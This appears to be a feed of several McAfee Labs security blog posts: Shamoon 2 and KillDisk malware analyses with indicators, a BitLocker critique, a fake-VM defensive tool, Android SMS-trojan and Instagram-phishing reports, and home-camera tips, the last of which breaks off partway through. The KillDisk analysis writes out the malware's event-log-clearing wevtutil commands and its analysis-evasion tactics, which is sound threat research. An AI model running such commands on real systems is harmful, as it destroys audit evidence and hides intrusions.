Spotlight on Shamoon https://securingtomorrow.mcafee.com/mcafee-labs/spotlight-on-shamoon/ https://securingtomorrow.mcafee.com/mcafee-labs/spotlight-on-shamoon/#comments Fri, 27 Jan 2017 18:59:46 +0000 https://securingtomorrow.mcafee.com/?p=68479 Our analysis this month has pointed to Shamoon emerging in the Middle East. We have recently seen a number of similarities that we had highlighted in our earlier blogs (on mcafee.com). The campaign continues to target organizations in the Middle East from a variety of verticals. Reports suggest that a further 15 disk-wiping Shamoon incidents …

The post Spotlight on Shamoon appeared first on McAfee Blogs.

]]>
Our analysis this month has pointed to Shamoon emerging in the Middle East. We have recently seen a number of similarities that we had highlighted in our earlier blogs (on mcafee.com). The campaign continues to target organizations in the Middle East from a variety of verticals. Reports suggest that a further 15 disk-wiping Shamoon incidents have occurred in public and private sectors.

Rev.2 campaign

The code for the current revision is almost identical to the original version: Changes include the addition of a victim’s credentials to spread and execute the wiper in a large part of the environment. In the following screenshot, we can see that the old encoded resource names PKCS12, PKCS7, and X509 are still present in the new variants but not used.

Screen Shot 2017-01-27 at 10.47.27 AM

A question that many of us in the industry have asked ourselves is How were the attackers able to gain the credentials from so many victims in the Middle East? Let’s approach this from the attacker’s view and follow the Cyber Kill Chain steps.

Reconnaissance

An attack group prepares a plan and identifies the victims it wants to hit to create an impact or make a statement. The group gathers email addresses and other open-source intelligence as the first step to preparing for the campaign. They register domains, code backdoors, and prepare for the reconnaissance phase. When all is tested, the initial attack starts with spear phishing:

Screen Shot 2017-01-27 at 10.47.12 AM

The victims receive emails, for example, one like the preceding business proposal. The email also contains a tempting attachment. When opening the attachment, some victims saw this:

Screen Shot 2017-01-27 at 10.49.37 AM

Any requirement to activate macros before seeing content should set off alarm bells. Analyzing the document, we received confirmation of our suspicions:

Screen Shot 2017-01-27 at 10.46.48 AM

Decoding the obfuscated macro code results in a PowerShell script that proceeds to download a file, a Trojan capable of gathering system information and downloading other tools.

In other cases, we found a backdoor using a PowerShell script to gather information from the system and write to a temporary file. A code snippet:

Screen Shot 2017-01-27 at 10.46.25 AM

We also found a script that creates an instance of Mimikatz, a tool known to dump user credentials from a computer:

  • CreateMimi1.Bat or CreateMimi2.Bat

When all the data are gathered, the information is uploaded. To open a command channel, the attackers used, for example, a PowerShell script that launches Powercat, a TCP/IP “Swiss army knife” that works with netcat. A code example:

Screen Shot 2017-01-27 at 10.46.04 AM

Weaponization

The attackers invariably sort the credentials of the victims to gain an indication of the IP range and possible scale of the network. Depending on the goal of the attack, a selection of victims can be made to serve the cause. From the original Shamoon code, the current attackers have made several changes:

  • Added victims’ credentials
  • Replaced picture from flag to boy
  • Changed resource language to Yemeni Arabic
  • Tested samples

Delivery/Exploitation/Installation/Control servers/Action on objectives

In these phases, the actors needed only one or two hosts in the victim’s network as a beachhead to upload the wipers and scripts. Because the attackers already had valid credentials, no exploitation was needed.

Batch file:

Screen Shot 2017-01-27 at 10.45.44 AM

The batch file copies ntertmgr32.exe (one of many filenames of the Shamoon 2 variant) and starts it. Once the hardcoded date was reached, systems were wiped. Objective accomplished.

Actor sophistication

Our analysis of the execution of this attack tells a story about the actors capability and skills. Their attack precision is very good; they know whom and what to attack, in this case to disrupt and leave a statement. Their focus is on Windows and they use well-known practices to gather information and credentials, with no zero days. From a coding perspective, many security industry colleagues have already commented on the sloppy coding practices. From an operations security perspective—how well are the actors able to hide details that could lead to them?—we noticed that quite a few details are available: email addresses, program database paths, and Yemeni Arabic as the language identifier of almost all the samples, although we discovered one sample with a different language identifier. Was that on purpose, or a slip by the actor because this was a large campaign?

Indicators

Domains:

  • winappupdater.com
  • update.winupdater.com
  • // domain registered on 2016-11-25 by benyamin987@mail.com
  • hash 146a112cb01cd4b8e06d36304f6bdf7b and bf4b07c7b4a4504c4192bd68476d63b5 were connecting to this site

Hashes:

  • 146a112cb01cd4b8e06d36304f6bdf7b
  • bf4b07c7b4a4504c4192bd68476d63b5
  • a96d211795852b6b14e61327bbcc3473
  • 1507A4FDF65952DFA439E32480F42CCF1460B96F

File locations and filenames:

Collection of system information:

  • “%localappdata%\Microsoft\Windows\Tmp765643.txt” //where Tmp[6digits].txt is the syntax//

Filenames and Locations:

  • Microsoft\Windows\ccd
  • Microsoft\Windows\ccd6.exe”
  • Microsoft\Windows\ssc”
  • Microsoft\Windows\tss.ps1″
  • Microsoft\Windows\Tmp9932u1.bat”
  • Microsoft\Windows\Tmp765643.txt”
  • Microsoft\Windows\dp.ps1″
  • Microsoft\Windows\ccd61.ps1
  • Microsoft\Windows\dp.ps1″

Interesting strings in code samples:

  • F:\Projects\Bot Fresh\Release\Bot Fresh.pdb
  • F:\Projects\Bot\Bot\Release\Ism.pdb
  • G:\Projects\Bot\Bots\Bot5\Release\Ism.pdb

 

The post Spotlight on Shamoon appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/spotlight-on-shamoon/feed/ 1
With Release of Windows 10, Questions About BitLocker Arise Again https://securingtomorrow.mcafee.com/mcafee-labs/release-windows-10-questions-bitlocker-arise/ https://securingtomorrow.mcafee.com/mcafee-labs/release-windows-10-questions-bitlocker-arise/#comments Thu, 26 Jan 2017 23:31:22 +0000 https://securingtomorrow.mcafee.com/?p=68470 This post was written by Ted Pan. For those of you who were around during the original release of Microsoft’s BitLocker, previously known as Secure Startup, you will remember that it was meant to completely eliminate the necessity for third-party security software. Yes, BitLocker was going to secure our machines against all forms of attack …

The post With Release of Windows 10, Questions About BitLocker Arise Again appeared first on McAfee Blogs.

]]>
This post was written by Ted Pan.

For those of you who were around during the original release of Microsoft’s BitLocker, previously known as Secure Startup, you will remember that it was meant to completely eliminate the necessity for third-party security software. Yes, BitLocker was going to secure our machines against all forms of attack and make sure we never again lost data.

What happened?

BitLocker is actually pretty good. It is nicely integrated into Windows, it does its job well, and it is really simple to operate. As it was designed to “protect the integrity of the operating system,” most who use it implemented it in TPM mode, which requires no user involvement to boot the machine.

And that’s where problems started.

Hands up: How many people have a TPM chip on their laptop? Everyone, we bet. It’s a ubiquitous piece of hardware nowadays. OK, another show of hands for those who have enabled, and taken ownership of the chip? “Taken ownership?” You remember going through the personalization phase of the chip, enabling it in the BIOS, etc.? Remember, all TPMs are shipped disabled and deactivated.

You didn’t do that before you deployed your laptops? In that case, BitLocker will be a bit of a struggle for you.

Fact 1. To use BitLocker without adding additional authentication, you need an enabled, owned TPM1.2+ hardware chip.

For those of you who did go through this, we congratulate you on your foresight. The only problem is:

Fact 2. BitLocker with TPM-only protection is vulnerable to cold boot, Firewire, and BIOS keyboard buffer attacks.

There are some pretty simple attacks on TPM-only machines. Search for “BitLocker Firewire,” “BitLocker cold boot,” or “BitLocker forensic tool” and you’ll find lots of research, and even a few tools that will unlock your nice “protected” machine and recover the data. There was even a trivial method that allowed an attacker to gain access to a BitLocker protected system as late as November 2015 (8 years after BitLocker’s initial release); this has only recently been patched.

To make a machine secure, and by that we mean give you protection against having to disclose lots of personal information to all your customers if the machine goes missing, you need to use some form of pre-Windows authentication (with or without TPM; it makes no difference). Even Microsoft recommends this mode of operation.

For BitLocker, turning on authentication gives you a couple of choices. You can set a pin for the machine, and, if you want, you can also use a USB storage device (a memory stick, not a smart card) as a token. We wrote “pin”; we certainly did not write “your Windows user ID and password.” In fact, we didn’t mention users at all. BitLocker officially supports one login, so if more than one person uses a machine, you’re going to have to share that with everyone.

Some more facts:

Fact 3. BitLocker is secure only if you use a pin or USB stick for authentication.

Fact 4. There is no link between your Windows credentials and BitLocker credentials. 

Fact 5. BitLocker does not support the concept of more than one user.

Even Microsoft’s official advice tells you to use a 6+char pin, plus TPM for authentication—no using it in TPM-only mode.

So now your lucky BitLocker users have PCs protected, maybe with a TPM, but certainly with some form of authentication that is shared between the owner of the machine and with you (as administrator), and probably the system guys. You probably have an Excel spreadsheet with everyone’s pin.

We hope so, because when those users start forgetting their pins, who’s at the end of the phone? The good news is the pin never changes. There’s no forced change or lifetime. That doesn’t fit with your password policy? Did we mention that the PIN can be made only from the function keys, not the normal letter keys, unless you configure a special enhanced PIN mode that does not work on non-USA keyboards? Did we mention there are no complexity or content rules apart from length? 

Fact 6. BitLocker PINs are usually Fn-key based. BitLocker does not support non-US keyboards.

For all of you who have implemented public key infrastructure smart cards, bought laptops with fingerprint sensors, or who have tokens such as ActivIdentity, common access cards, personal identity verification, etoken keys, Datakey cards, SafeNet cards, etc. You’d like to be able to use them for authentication to your PCs, wouldn’t you?

Fact 7. BitLocker supports only USB storage devices and PINs—no integration with any other token.

Fact 8. Active Directory and additional servers are required to administrate BitLocker in a corporate environment.

There are Active Directory–based methods. The Group Policy Object settings will let you store the (fixed) recovery key in your AD. I’m not sure how you feel about that data getting propagated to every controller in your forest, but I’m sure you know and trust every AD administrator in your organization who (now) has access to those keys. If someone were to dump those keys and then quit, what would you do? It’s not as if the key ever expires. We guess you could write a program and then run it on every machine to recreate the keys, or write down the recovery key and give it to the user to hold onto.

Let’s review why we are going through this effort. The flippant answer is “because we were told to secure our machines,” but what does that mean? Most likely your company falls under one of the 250+ global laws defining and mandating the protection of people’s personal data, social security numbers, health information, credit card numbers, etc. Regulations such as PCI, HIPAA, HITECH, SOX, etc. You want to use BitLocker to encrypt your machines because when they get lost or stolen, you won’t have to pay fines, or tell everyone you lost their data. You lost the machine, sure, but because the data was encrypted, no one can get access to it.

To use this “get out of jail” card you need to be able to prove a couple of things:

  • That the data was indeed protected at the time of loss.
  • That the protection method was appropriate given the type of data.

So, applying those tests, a rule appears: 

Fact 9. You need extra software to prove BitLocker was enabled and protecting the drive at the time of the theft to claim protection from personally identifiable information laws.

We know how to set GPOs etc. to mandate the use of BitLocker, but we also know how easy it is for a user to turn it off. Setting up an MBAM server with all its associated requirements (such as an additional SQL server) would increase your complexity as well as causing you to write scripts to perform automated deployments. We don’t know of anything in Active Directory that gives me a definitive answer as to the state of protection of a given machine. There’s even a command-line tool that can be run to completely (un)configure it. We need something that reports on the state of protection of a lost machine. Saying “Well, the policy says it should be encrypted” is not enough. Perhaps a reader can help out?

Let’s finally take a look at implementing this solution. You do have a 100% Windows enterprise environment, don’t you? What if you still have some XP, Vista, Business, or Macs? Are you going to leave those machines unprotected, or are you planning to run a mix of third-party software and BitLocker? 

Fact 10. BitLocker encryption and administration supports only Windows—with no support for other operating systems, such as Mac or Linux.

You may think that we are not great fans of BitLocker—yet that’s far from the truth. We would use it, and would recommend it to friends. We see it as really good for technical, trustworthy users. But that’s not the market it’s being promoted for. Nothing fills us with dread more than an enterprise product that requires yet another password, requires specific hardware that is not enabled by default, presents a black screen with white text to users (so archaic), does not conform to our recognized password/PIN lifetime policies, does not work on non-USA machines, and does not have audit-friendly output for the main purpose it serves, namely, to tell us whether this stolen machine is a liability.

One of us actually likes it for the following reasons:

  • Only one of the three machines he uses has a USA keyboard, so he can use Fn-mode PINs.
  • It never forces him to change his PIN.
  • He can turn it on and off whenever he likes without corporate IT people knowing.
  • He gets to use the TPM chip, even though it took him a whole day to work out how to enable it.
  • He can write fancy scripts to turn it on and off. (He’s a closet programmer.)
  • He gets a nice DOS-like screen when he turns on his machine, just like 20 years ago.
  • BitLocker is mostly controlled through a command-line script (Manage-bde).
  • His local IT team can’t come and use his machine, or see what’s stored on it without his knowing.
  • He just likes things to be done the hard way.

The post With Release of Windows 10, Questions About BitLocker Arise Again appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/release-windows-10-questions-bitlocker-arise/feed/ 2
Analyzing KillDisk Ransomware, Part 1: Whitelisting https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-killdisk-ransomware-part-1-whitelisting/ https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-killdisk-ransomware-part-1-whitelisting/#comments Fri, 20 Jan 2017 01:07:57 +0000 https://securingtomorrow.mcafee.com/?p=67910 At McAfee Labs we recently analyzed the ransomware KillDisk. We will share our analysis in two parts: the first, this article, contains general information about the malware and its whitelisting technique; the second part will appear soon with an analysis of its variants and techniques, including how to unlock the locked screen in an infected …

The post Analyzing KillDisk Ransomware, Part 1: Whitelisting appeared first on McAfee Blogs.

]]>
At McAfee Labs we recently analyzed the ransomware KillDisk. We will share our analysis in two parts: the first, this article, contains general information about the malware and its whitelisting technique; the second part will appear soon with an analysis of its variants and techniques, including how to unlock the locked screen in an infected system (with a demo video).

KillDisk demands a pretty high ransom: 222 Bitcoins (around US$170,000).

KillDisk Ransom-note (Infected Machine)

The KillDisk ransom note. 

KillDisk is data-wiping malware, and is generally used by other malware to hide their artifacts from an infected system. BlackEnergy is one brand of malware that uses KillDisk.

Recently, the author of KillDisk enhanced the malware by adding the ransomware capability. This ransomware targets both Windows and Linux systems. It encrypts files, blocks the screen, and demands an unusually high ransom. We analyzed the Windows variant and found some interesting things.

Analysis

During our analysis of KillDisk, we saw little file system activity. To remove its(or its component’s) execution traces from the infected system, KillDisk uses the Windows event utility (wevtutil). One statement from Microsoft about wevtutil:

“Wevtutil enables you to retrieve information about event logs and publishers. You can also use this command to install and uninstall event manifests, to run queries, and to export, archive, and clear logs.”

KillDisk executes these commands before starting its encryption process:

  • wevtutil clear-log application
  • wevtutil clear-log security
  • wevtutil clear-log setup
  • wevtutil clear-log system

This malware has a complex routine that decrypts the DLL names, API names, file extensions, process names, and other strings including the preceding commands. This screenshot illustrates:

Decryption Routine

Decryption routine.

KillDisk targets the following files:

.pdb .vbm .vbk .dat .crt .key .kdbx .bak .back .dr .bkf .cfg .fdb .mdb .accdb .gdb .wdb .csv .sdf .myd .dbf .sql .edb .mdf .ib .db3 .db4 .accdc .mdbx .sl3 .sqlite3 .nsn .dbc .dbx .sdb .ibz .sqlite .ova .vmdk .vhd .vmem .vdi .vhdx .vmx .ovf .vmc .vmfx .vmxf .hdd .vbox .vcb .vmsd .vfd .pvi .hdd .bin .avhd .vsv  .iso .nrg .disk .hdd .pmf .vmdk .xvd .dev .pem .jrs .cer .pvk .pfx .pd .pio .csr .crl .p7c .piz .p7b .spc .p7r .io .pyc .dwg .max .dxf .3ds .ai .conf .my .ost .pst .mkv .mp3 .wav .oda .sh .py .ps .ps1 .php .aspx .asp .rb .js .git .mdf .pdf .djvu .doc .docx .xls .xlsx .jar .ppt .pptx .rtf .vsd .vsdx .jpeg .jpg .png . tiff .msi .zip .rar  .7z .tar .gz .eml .mail .ml

After encryption, the files have the same extensions but the data is encrypted, with the addition of 0x98 bytes at the end of each file. The first 0x80 bytes are related to the key and the next 0x18 bytes are the ransomware message, shown below

           DoN0t0uch7h!$CrYpteDfilE

KillDisk also uses these 0x18 bytes as an infection marker, to avoid multiple encryptions of already locked files. The following screenshot shows the appended data in an encrypted file:

Appended Data/Signature in Encrypted file

The appended data/signature in an encrypted file.

Whitelisting to avoid analysis

We have observed some malware use blacklisting methods to kill analysis tools: If they find antimalware or related applications, they will terminate that process. But this malware uses the opposite technique of whitelisting: It maintains a list of benign processes, checks the system for them, and stores their process IDs (PIDs) along with its PID. After generating the PID list, the malware again enumerates the running processes and terminates those that are not on its generated PID list.

The following chart illustrates both blacklist and whitelist techniques:

Blacklist Flowchart             WhiteList Guard Flowchart

                  Blacklist flowchart.                                                             Whitelist flowchart.

The whitelist technique works pretty well under automation environments such as the Cuckoo sandbox, etc.

Debugger evasion via whitelist

The malware retrieves its PID using the GetCurrentProcessId function so that while debugging the process in any debugger—OLLY, IDA, etc.—the function will return the malware’s PID and not the debugger’s. Thus, the PID whitelist created by the malware will not contain the debugger’s PID. When the malware executes its termination routine using TerminateProcess API, the debugger’s process will be killed.

The following screenshot shows disassembly of the code that terminates calc.exe because the process name is not on malware’s whitelist.

Terminating calc.exe

Terminating calc.exe.

However, we see not only the termination of the debugger process, but also of the child-sample process. We did not expect this behavior because the malware is using the TerminateProcess() API, which kills only the specified process not child processes.

Why are the child processes also terminated? It’s because of how the debugger creates its child processes. The debugger creates its child processes using specific creation flags related to debugging. The debugger uses the DEBUG_ONLY_THIS_PROCESS/DEBUG_PROCESS flag while calling the CreateProcess() API. Due to this flag, when the parent process gets terminated, the child processes die as well.

KillDisk’s whitelist consists of Windows and antimalware process names, including McAfee products.

Why are antimalware process names part of the malware’s whitelist? It may be because AV products generally use protection techniques so that other processes can’t kill their processes, and they may check on any process that wants to kill their processes. We think the malware author does not want to give the AV processes any indication of the malware’s existence.

The whitelisted process names:

smss.exe, csrss.exe, wininit.exe, services.exe, lsass.exe, lsm.exe, svchost.exe, winlogon.exe, explorer.exe, dwm.exe, wuauclt.exe,spoolss.exe, spoolsv.exe, taskhost.exe, conhost.exe, shutdown.exe, avp.exe, avpui.exe, ekrn.exe, egui.exe, mfemmc.exe, mfefire.exe, mfevtps.exe, pefservice.exe, mcsvhost.exe, msascui.exe, msmpeng.exe, mpcmdrun.exe

There is a typo in this list related to one McAfee process name. Our mfemms.exe is part of the McAfee Management service, but the malware looks for the process name mfemmc.exe.

Conclusion

KillDisk is new to the world of ransomware. It has implemented a whitelisting technique to protect itself, although it looks unstable because it kills all the other processes in the system. This malware has some coding bugs but can still badly harm its victims by encrypting files and demanding a huge ransom. This might be a beta version of this malware; we could see an updated version in the near future.

The second part of this post will contain our analysis of the malware’s other variants, along with some techniques including how to unlock the locked screen on an infected system (with a demo video).

McAfee products detect all known variants of this malware.

Thanks to Vikas Taneja for his valuable input.

 

The post Analyzing KillDisk Ransomware, Part 1: Whitelisting appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-killdisk-ransomware-part-1-whitelisting/feed/ 1
Stopping Malware With a Fake Virtual Machine https://securingtomorrow.mcafee.com/mcafee-labs/stopping-malware-fake-virtual-machine/ https://securingtomorrow.mcafee.com/mcafee-labs/stopping-malware-fake-virtual-machine/#respond Thu, 19 Jan 2017 19:51:00 +0000 https://securingtomorrow.mcafee.com/?p=68026 As we explained in a previous post, some advanced malware can detect a virtual environment such as a sandbox to avoid detection and analysis. Some threats can also detect monitoring tools used for malware analysis. Often such malware will not execute or change their behavior to appear harmless. Because some malware uses these tactics, planting …

The post Stopping Malware With a Fake Virtual Machine appeared first on McAfee Blogs.

]]>
As we explained in a previous post, some advanced malware can detect a virtual environment such as a sandbox to avoid detection and analysis. Some threats can also detect monitoring tools used for malware analysis. Often such malware will not execute or change their behavior to appear harmless. Because some malware uses these tactics, planting fake virtual machine artefacts or fake analysis tools on a system could stop their malicious behavior. We have created a quick proof of concept (POC) to demonstrate this defensive tactic.

Some malware use a mutex or registry key to avoid re-infecting a machine. For example, a previous version of Locky used a registry key with the string “locky” to check if the machine was already infected. This variant also used a basic check to verify if the local language was Russian; if it was, the ransomware did not infect the machine. With this kind of information, security analysts can proactively configure these artefacts to boost protection against some malicious software.

The following diagram illustrates this concept:

20170118 Roccia fake vm 1

 

Proof of concept functions

Sandboxes and virtual environments are full of artefacts that betray their analysis environment. Malware can protect itself against these by running some checks to detect such environments before performing any malicious actions. Our POC will reproduce a virtual environment on a normal user machine. It is available at https://github.com/fr0gger/RocProtect-V1.

Creating fake registry keys

A lot of registry keys are created by specific tools or by sandbox emulation. Using the Windows API RegCreateKeyEx we can create all the (fake) keys normally created by a virtual hypervisor.

The following list shows of few of the potential registry keys that malware can detect:

  • HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0\“Identifier”;“VMWARE”
  • HKLM\SOFTWARE\VMware, Inc.\VMware Tools
  • HKLM\HARDWARE\Description\System\ “SystemBiosVersion”;”VMWARE”
  • HKLM\HARDWARE\Description\System\”SystemBiosVersion”;VBOX
  • HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions
  • HKLM\HARDWARE\ACPI\DSDT\VBOX__

The following function explains in more detail the registry key creation process:

RegCreateKeyEx(
HKEY_LOCAL_MACHINE, // registry key
RegValuePath[i], // subkey
0, // reserved and must be 0
NULL, // class type of the key
REG_OPTION_NON_VOLATILE, // keep the key after reboot
KEY_WRITE, // registry key security and access right
NULL, // security attributes
&hKey, // handle to the opened key
NULL) // determine weither the key exists or not

 

Other API functions are used to set a value on a previously created key (RegOpenKeyEx, RegSetValueEx).

Creating fake processes

The hypervisor runs several processes in the virtual machine to perform actions and ensure compatibility with the host machine. For example, VirtualBox uses several processes on a machine that can be spotted by malware.

The following list shows processes created by VirtualBox:

  • exe
  • exe
  • exe

The function CreateProcess can be used to load a fake process into memory:

CreateProcess(
ProcessName[i], // name of the fake process
NULL, // additional command line
NULL, // security attributes
NULL, // security attributes
FALSE, // handle are not inherited
CREATE_SUSPENDED, // create the process in suspended mode to avoid resource consumption
NULL, // pointer to the environment block
NULL, // specific directory for the file
&si, // startup info
&pi) // process info

 

Creating fake files

Malware can also try to detect the presence of any files related to virtual environments. A lot of driver or DLL files are created by the hypervisor.

The following list shows a short extract of potential virtual files:

  • C:\\WINDOWS\system32\drivers\VBoxMouse.sys
  • C:\\WINDOWS\system32\vboxhook.dll
  • C:\\WINDOWS\system32\vboxdisp.dll
  • C:\\Windows\system32\drivers\vmmouse.sys
  • C:\\system32\drivers\vmhgfs.sys

The function CreateFile can be used to create fake files on the system:

CreateFile(
fname[i],// open file
GENERIC_WRITE, // open for writing
0, // do not share
NULL, // default security
OPEN_ALWAYS, // open or create
FILE_ATTRIBUTE_NORMAL, // normal file
NULL) == INVALID_HANDLE_VALUE) // no attribute template

 

Creating a fake MAC address

VirtualBox and VMware use default MAC addresses on virtual machines. The VirtualBox default address uses the first three bytes 08:00:27. The VMware default address uses the first three bytes 00:0C:29, 00:1C:14, 00:50:56, or 00:05:69. Malware can detect these MAC addresses by requesting the following registry key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\0000\NetworkAddress

 

Proof of Concept

We have tested some samples with “VM aware” capabilities with our tool. In each case the malware did not run and the machine was not infected.

The tool Pafish, an open-source project, uses similar tricks as malware to identify virtual environments. We used Pafish to observe the difference between a normal machine and a machine set up with our tool emulating a virtual machine.

The following screenshot shows the output of Pafish with few detections of a virtual environment:

20170118 Roccia fake vm 2

After running our tool, we can clearly see the differences in detection.

20170118 Roccia fake vm 3

On the left we see the output of RocProtect, our proof of concept, which created fake artefacts on the machine. On the right we see the output of Pafish that shows us the number of detections.

Malware is constantly becoming more advanced. Analysis and detection are become harder and very time consuming. This proof of concept introduces a different way to protect against malware infections by emulating a virtual environment. Of course, this tool cannot replace a real security application, but it can complement your defenses. Sometimes we need to try different tactics to fight malware.

The post Stopping Malware With a Fake Virtual Machine appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/stopping-malware-fake-virtual-machine/feed/ 0
Trojanized Photo App on Google Play Signs Up Users for Premium Services https://securingtomorrow.mcafee.com/mcafee-labs/trojanized-photo-app-on-google-play-signs-up-users-for-premium-services/ https://securingtomorrow.mcafee.com/mcafee-labs/trojanized-photo-app-on-google-play-signs-up-users-for-premium-services/#respond Fri, 13 Jan 2017 19:23:46 +0000 https://securingtomorrow.mcafee.com/?p=67731 Mobile apps usually have names that give some indication of their function. In one recent case, however, we found a misnamed app that turned out to be malicious. Every Android app has an ID value, commonly known as the package name, to uniquely identify it on a device and in Google Play. Most package names …

The post Trojanized Photo App on Google Play Signs Up Users for Premium Services appeared first on McAfee Blogs.

]]>
Mobile apps usually have names that give some indication of their function. In one recent case, however, we found a misnamed app that turned out to be malicious.

Every Android app has an ID value, commonly known as the package name, to uniquely identify it on a device and in Google Play. Most package names on Google Play have some relation to the type of app (for example, photography apps usually have photo in package name). When we saw the package name com.star.trek on Google Play, we expected an app related to the popular science fiction series. However, it appears to be a photo app based on its application name and description:

trojansms_googlesearchapp
The app seems popular on Google Play, with more than one million downloads yet an unusual low rating (3.5 out of 5):

trojansms_i_love_filter
Another warning flag raised by this app is that the application name “I Love Filter” does not correspond to the application name in the banner “Wonderful Cam.” Looking at user reviews, we found some hints as to its low ratings from so many people:

trojansms_ratingandreviews
One review says the app makes money from your messages, suggesting the app is in fact an SMS Trojan, one of the oldest and most profitable threats to mobile devices. This type of malware sends SMS (text) messages to premium-rate numbers and charges the user for a specific service. In some cases, instead of charging for each SMS sent, the user is subscribed to a service that continuously charges until a message is submitted to cancel the subscription. After we downloaded and installed this suspect app, we confirmed that app demands permission to send SMS. There is also a typo in the application name (Fliter), which makes it even more suspicious:

trojansms_appinfo
Once the app is executed, our suspicions are confirmed:

trojansms_premiumservice
As soon as the app is opened, it loads a website to subscribe the user to a premium service once the user clicks on the “Continue” button. The “good” news is that rather than subscribing the user automatically in the background, the app explains the cost of each SMS and, more important, how the user can stop the service. The bad news is that if the user does not pay, the application cannot be used.

Does this behavior mean that the developer is offering the app as free but then tries to charge the user to use the app? Not really. Looking at the decompiled source code of “I Love Filter,” we see that com.star.trek is in fact the free legitimate app Retro Live infected with Trojan code to charge the user via SMS messages:

trojansms_retrolive
Retro Live is currently not available on Google Play, although this is not the first time that it is being used to make a profit on Google Play. At least three other Trojanized Retro Live apps have been identified, and are currently available only on third-party sites:

trojansms_otherapps
In the case of Beautiful Photo, and unlike I Love Filter, the terms and conditions are not so clear and are not even in English, which could lead some to click “Setup” without paying attention to the other text and thus subscribe the user to an unwanted premium-rate service:

trojansms_premiumservice2
In addition to the SMS subscription function, the injected code also leaks device and user information, including the phone number, GPS location, installed apps, and IP address:

trojansms_userinfoupload
The malware can also download and install applications:

trojansms_downloadandinstall
In previous years Android has introduced security measures to protect users against SMS Trojans. Since Android 4.2 (Jelly Bean), the operating system has displayed a pop-up message to inform users that an app is trying to send an SMS message to a premium short number and ask for confirmation. In Android 4.4 (KitKat) Google introduced the concept of a default SMS app that limits the ability of malware to silently intercept incoming SMS messages. Nevertheless, malware authors have found ways to overcome some restrictions: In the following case the malware mutes the incoming SMS alert notification to avoid alerting the user that a confirmation message has arrived:

trojansms_silentmode
Although SMS Trojans are not as popular as earlier in Android’s career, Trojanized apps with injected code to subscribe users to premium services remain an easy way for malware authors to profit in a restricted environment like Google Play. Users may think they are paying for a legitimate app while in fact subscribing to a service that needs a specific SMS to make it stop. Another risk lies in children downloading, installing, and executing apps, while clicking on confirmation messages that could result in charges.

We have reported the “I Love Filter” app to Google and it should be removed soon. To protect yourselves from this threat, employ security software on your mobile devices, check user reviews for apps on Google Play, and do not accept or trust apps that ask for payment functionality via SMS messages as soon as the app is opened.

McAfee Mobile Security detects this threat as Android/SmsPay and alerts mobile users if it is present, while protecting them from any data loss. For more information about McAfee Mobile Security, visit http://www.mcafeemobilesecurity.com.

The post Trojanized Photo App on Google Play Signs Up Users for Premium Services appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/trojanized-photo-app-on-google-play-signs-up-users-for-premium-services/feed/ 0
Turkish Instagram Password Stealers Found on Google Play https://securingtomorrow.mcafee.com/mcafee-labs/turkish-instagram-password-stealers-found-google-play/ https://securingtomorrow.mcafee.com/mcafee-labs/turkish-instagram-password-stealers-found-google-play/#respond Thu, 12 Jan 2017 22:48:55 +0000 https://securingtomorrow.mcafee.com/?p=67462 Intel Security’s mobile malware research team has found several Instagram password stealers on the Google Play store. (Google has since removed the apps.) These malware are distributed as utilities and tools for analyzing access and automating the following of Instagram accounts. The main targets of the malware are Turkish Instagram users. The malware lead victims …

The post Turkish Instagram Password Stealers Found on Google Play appeared first on McAfee Blogs.

]]>
Intel Security’s mobile malware research team has found several Instagram password stealers on the Google Play store. (Google has since removed the apps.) These malware are distributed as utilities and tools for analyzing access and automating the following of Instagram accounts. The main targets of the malware are Turkish Instagram users.

20161228-1
The malware lead victims to a phishing website that steals Instagram account passwords using the WebView component. As we see in the following screenshots, the design of the login page is very simple, so it is difficult for users to appreciate the difference between legitimate and fake.

20161228-2

The victim’s credentials are sent to the malware author as plain text. If the network connection is monitored (as is possible on a free Wi-Fi network), the account name and password are open to unknown persons.

20161228-3

Victims’ personal information may leak if they use the same passwords on other websites and social network services. Malware authors will attempt to log into other web services using the stolen accounts and passwords.

Instagram’s popularity makes it a target for attackers. Intel Security recommends you install mobile security and password-management software, and not trust applications downloaded from unknown sources. McAfee Mobile Security detects this threat as Android/InstaZuna and alerts mobile users if it is present, while protecting them from any data loss. For more information about McAfee Mobile Security, visit http://www.mcafeemobilesecurity.com.

 

The post Turkish Instagram Password Stealers Found on Google Play appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/turkish-instagram-password-stealers-found-google-play/feed/ 0
Top Tips for Securing Home Cameras https://securingtomorrow.mcafee.com/mcafee-labs/top-tips-for-securing-home-cameras/ https://securingtomorrow.mcafee.com/mcafee-labs/top-tips-for-securing-home-cameras/#respond Thu, 05 Jan 2017 02:22:55 +0000 https://securingtomorrow.mcafee.com/?p=67634 Installing a home surveillance camera system can add great benefits but also may introduce new risks to privacy and network security. The goal is to increase your security and peace of mind, while avoiding cybersecurity threats. Here are three tips to consider when purchasing, installing, and configuring your new home camera system. The risks Home …

The post Top Tips for Securing Home Cameras appeared first on McAfee Blogs.

]]>
Installing a home surveillance camera system can add great benefits but also may introduce new risks to privacy and network security. The goal is to increase your security and peace of mind, while avoiding cybersecurity threats. Here are three tips to consider when purchasing, installing, and configuring your new home camera system.

The risks

Home Internet-connected cameras are targets for cybercriminals. Recently a number of large Internet of Things (IoT) attacks have occurred during which hackers have compromised hundreds of thousands of devices and enlisted them in massive botnets. These collections of ordinary devices, such as IP cameras, digital video recorders, and home routers, are directed by bot herders to send network traffic to a targeted destination. The massive flow of data overwhelms the target site and makes it unavailable. A recent attack against DYN, an Internet DNS lookup service, took out much of the east coast access to Twitter, Spotify, Netflix, Amazon, Tumblr, Reddit, PayPal, and other sites in the United States. Hacking home devices has become a powerful tool for cybercriminals. That home camera you are considering could add to the problem and even be used by hackers to spy on you!

videocameras

